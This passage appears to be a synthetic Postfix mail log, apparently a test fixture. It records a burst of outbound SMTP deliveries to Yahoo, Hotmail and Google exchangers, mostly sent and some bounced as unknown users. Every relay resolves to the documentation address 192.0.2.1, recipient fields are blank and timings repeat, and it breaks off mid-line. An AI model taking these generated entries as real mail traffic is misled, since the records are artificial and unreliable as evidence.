postfix/smtp[6964]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:01 postfix/smtp[7290]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:01 postfix/smtp[7568]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:01 postfix/smtp[9708]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:02 postfix/smtp[5287]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:02 postfix/smtp[6115]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:02 postfix/smtp[7066]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:02 postfix/smtp[9176]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:03 postfix/smtp[5279]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:03 postfix/smtp[7141]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:03 postfix/smtp[7461]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:05 postfix/smtp[8739]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:05 postfix/smtp[8839]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:05 postfix/smtp[9762]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:06 postfix/smtp[5229]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:06 postfix/smtp[7747]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:06 postfix/smtp[8826]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:06 postfix/smtp[9686]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:07 postfix/smtp[6672]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:07 postfix/smtp[7825]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:07 postfix/smtp[9290]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:07 postfix/smtp[9855]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:08 postfix/smtp[5053]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:08 postfix/smtp[8014]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:08 postfix/smtp[8262]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:10 postfix/smtp[6363]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:10 postfix/smtp[8587]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:10 postfix/smtp[8727]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:11 postfix/smtp[7087]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:11 postfix/smtp[7826]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:11 postfix/smtp[8985]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:11 postfix/smtp[9073]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:13 postfix/smtp[5369]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:13 postfix/smtp[5787]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:13 postfix/smtp[5839]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:13 postfix/smtp[8211]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:13 postfix/smtp[9374]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:15 postfix/smtp[6759]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:15 postfix/smtp[7569]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:15 postfix/smtp[9638]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:16 postfix/smtp[6917]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:16 postfix/smtp[9659]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:17 postfix/smtp[7101]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:17 postfix/smtp[8214]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:17 postfix/smtp[9958]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:18 postfix/smtp[8183]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:18 postfix/smtp[9690]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:21 postfix/smtp[6866]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:21 postfix/smtp[7828]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:21 postfix/smtp[8518]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:21 postfix/smtp[9530]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:22 postfix/smtp[6583]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:22 postfix/smtp[7441]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:23 postfix/smtp[5207]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:25 postfix/smtp[6539]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:25 postfix/smtp[7855]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:26 postfix/smtp[5526]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:27 postfix/smtp[6075]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:27 postfix/smtp[6727]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:27 postfix/smtp[7629]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:27 postfix/smtp[8784]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:28 postfix/smtp[5782]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:28 postfix/smtp[6460]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:28 postfix/smtp[6499]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:30 postfix/smtp[6728]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:31 postfix/smtp[6256]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:31 postfix/smtp[8017]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:31 postfix/smtp[8730]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:31 postfix/smtp[8827]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:31 postfix/smtp[9058]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:32 postfix/smtp[5642]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:32 postfix/smtp[6596]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:32 postfix/smtp[7784]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:33 postfix/smtp[5712]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:33 postfix/smtp[6904]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:33 postfix/smtp[7706]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:35 postfix/smtp[8092]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:35 postfix/smtp[9615]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:37 postfix/smtp[5823]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:37 postfix/smtp[7072]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:37 postfix/smtp[7543]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:38 postfix/smtp[6661]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:38 postfix/smtp[7110]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:38 postfix/smtp[9503]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:40 postfix/smtp[7850]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:41 postfix/smtp[5915]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:41 postfix/smtp[7469]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:41 postfix/smtp[7547]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:43 postfix/smtp[5778]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:43 postfix/smtp[6843]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:43 postfix/smtp[7448]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:45 postfix/smtp[9211]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:45 postfix/smtp[9262]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:46 postfix/smtp[5023]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:46 postfix/smtp[8382]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:46 postfix/smtp[9950]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:47 postfix/smtp[7890]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:48 postfix/smtp[7106]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:48 postfix/smtp[7494]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:48 postfix/smtp[8574]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:48 postfix/smtp[9354]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:48 postfix/smtp[9634]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:50 postfix/smtp[6892]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:50 postfix/smtp[7233]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:50 postfix/smtp[7705]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:50 postfix/smtp[9251]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:50 postfix/smtp[9909]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:51 postfix/smtp[7615]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:52 postfix/smtp[5342]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:52 postfix/smtp[5458]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:52 postfix/smtp[6780]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:53 postfix/smtp[5949]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:55 postfix/smtp[7240]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:55 postfix/smtp[8149]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:55 postfix/smtp[8958]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:05:56 postfix/smtp[6212]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:56 postfix/smtp[7242]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:56 postfix/smtp[9052]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:58 postfix/smtp[5540]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:05:58 postfix/smtp[5912]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:00 postfix/smtp[7103]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:01 postfix/smtp[5843]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:01 postfix/smtp[5906]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:02 postfix/smtp[5331]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:02 postfix/smtp[6071]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:02 postfix/smtp[9107]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:03 postfix/smtp[6397]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:05 postfix/smtp[6615]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:05 postfix/smtp[6993]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:05 postfix/smtp[9054]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:05 postfix/smtp[9673]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:06 postfix/smtp[7907]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:06 postfix/smtp[8754]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:07 postfix/smtp[8646]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:06:08 postfix/smtp[7236]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:11 postfix/smtp[5935]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:06:11 postfix/smtp[6386]: to=, 